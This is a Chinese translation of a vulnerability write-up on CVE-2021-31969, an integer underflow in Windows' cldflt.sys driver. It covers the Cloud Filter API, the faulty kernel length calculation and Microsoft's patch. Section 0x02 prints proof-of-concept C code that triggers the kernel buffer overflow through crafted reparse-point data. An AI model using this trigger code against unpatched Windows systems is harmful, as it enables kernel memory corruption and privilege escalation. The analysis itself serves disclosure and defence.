随着云存储的普及,各种操作系统都添加了支持此类存储的服务和功能。现在可以在云端同步本地存储,同时也可以在系统上检索到问价。在 Windows 上,这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个 Cloud Filter API 的本机 API。该API实现可在 Cloud Files Mini Filter Driver 或 cldflt.sys 中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息,该漏洞的编号为CVE-2021-31969 / ZDI-21-797,它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。
0x01 Cloud Sync Engines
Windows 中的Cloud Filter API 启用是从 Windows 10 版本的 1709 开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过 Windows 文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows 通过同步使关联的云文件显示出来。
0x02 漏洞利用方法
以下是PoC中关键步骤的描述:
1:首先执行同步注册。然后启动同步提供程序和同步过滤器 API 之间的通信:
WCHAR* dir = (WCHAR*)L"C:\\ProgramData"; GUID guid = { 0 }; guid.Data1 = 0xB196E670; guid.Data2 = 0x59C7; guid.Data3 = 0x4D41; CF_SYNC_REGISTRATION reg = { 0 }; reg.StructSize = sizeof(reg); reg.ProviderName = L"test"; reg.ProviderVersion = L"1.0"; reg.ProviderId = guid; CF_SYNC_POLICIES policies = { 0 }; policies.StructSize = sizeof(policies); policies.HardLink = CF_HARDLINK_POLICY_ALLOWED; policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; policies.InSync = CF_INSYNC_POLICY_NONE; policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL; HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); if (FAILED(hr)){ printf("CfRegisterSyncRoot failed with %p\n", hr); return 0; } CF_CALLBACK_REGISTRATION table[2]; table[0].Callback = DoTransferCallback; table[0].Type = CF_CALLBACK_TYPE_FETCH_DATA; table[1].Callback = nullptr; table[1].Type = CF_CALLBACK_TYPE_NONE; CF_CONNECTION_KEY key; hr = CfConnectSyncRoot(dir, table, 0, CF_CONNECT_FLAG_NONE, &key);
2:获取目标目录的句柄并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析数据:
RtlInitUnicodeString(&name, ntDir); InitializeObjectAttributes(&oa, &name, 0, 0, 0); ret = NtCreateFile(&hF, 0xC0000000, &oa, &isb, 0, 0, 0, 3, 1, 0, 0); if (NT_SUCCESS(ret)) { ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_GET_REPARSE_POINT, 0, 0, rb, 0x300); if (NT_SUCCESS(ret)) { // ... } }
3:修改检索到的重解析数据,将长度设置为零。然后通过FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回原位(标签设置为 0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,设置参数以code= 0xC0000003通过cloud filter FSCTL ( 0x903BC)请求占位符更新。
rb[0xa] = 0;//set (USHORT) length to zero rb[0x9] = 0xfa; rb[0x8] = 0xfa; rb[13] = 0x22; rbLen += *(UINT16*)(rb + 4); rbSet = (char*)malloc(rbLen + setLen); memset(rbSet, 0, rbLen + setLen); *(UINT32*)(rbSet + 0) = 0; *(UINT32*)(rbSet + 4) = 0x9000301A; memcpy(rbSet + setLen, rb, rbLen); ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_SET_REPARSE_POINT_EX, rbSet, setLen + rbLen, 0, 0); memset(output, 0, 0x100); *(UINT32*)(output + 0) = 0x9000001a; *(UINT32*)(output + 4) = 0xC0000003; *(UINT32*)(output + 8) = 0x10000; ret = NtFsControlFile(hF, 0, 0, 0, &isb2, 0x903BC, output, 0x100, 0, 0);
0x03 内核漏洞
内核驱动程序cldflt.sys负责处理cloud filter FSCTL。函数中用了大量 switch 语句来完成工作,这个函数被命名为HsmFltProcessHSMControl:
图 1 - HsmFltProcessHSMControl 函数
对0xC0000003的操作,最终会调用HsmFltProcessUpdatePlaceholder:
图 2 - 调用 HsmFltProcessUpdatePlaceholder
经过一些处理,执行流程将达到HsmpRpReadBuffer。首先分配一个缓冲区,然后通过发出一个FSCTL_GET_REPARSE_POINT控制指令来检索重解析数据。检索到的数据可能已被攻击者修改,之后调用HsmpRpiDecompressBuffer:
图 3 - 调用 HsmpRpiDecompressBuffer
在HsmpRpiDecompressBuffer内部,提供的长度(攻击者已设置为零)被检索并增加 8。它保存在局部变量 length 中,然后用于分配内核缓冲区。之后,代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。但是,它传递给RtlDecompressBuffer的指针不是已分配缓冲区的开始。而是已分配缓冲区开始前的 12 个字节,以便为某些元数据腾出空间。相应地,它传递给RtlDecompressBuffer的缓冲区大小是length-12。在下面的反汇编代码中,减法被优化为ADD。在我们的例子中,这个减法产生了一个整数下溢,因此一个巨大的缓冲区长度值 0xFFFFFFF4 被传递给RtlDecompressBuffer,这会导致内核缓冲区溢出。
图 4 - 整数下溢漏洞
0x04 补丁分析
Microsoft 通过添加检查以确保检索到的长度不小于 4 来修复此漏洞,这使得无法触发整数下溢。
图 5 - 来自 Microsoft 的补丁
本文翻译自:https://www.zerodayinitiative.com/blog/2021/7/19/cve-2021-31969-underflowing-in-the-clouds如若转载,请注明原文地址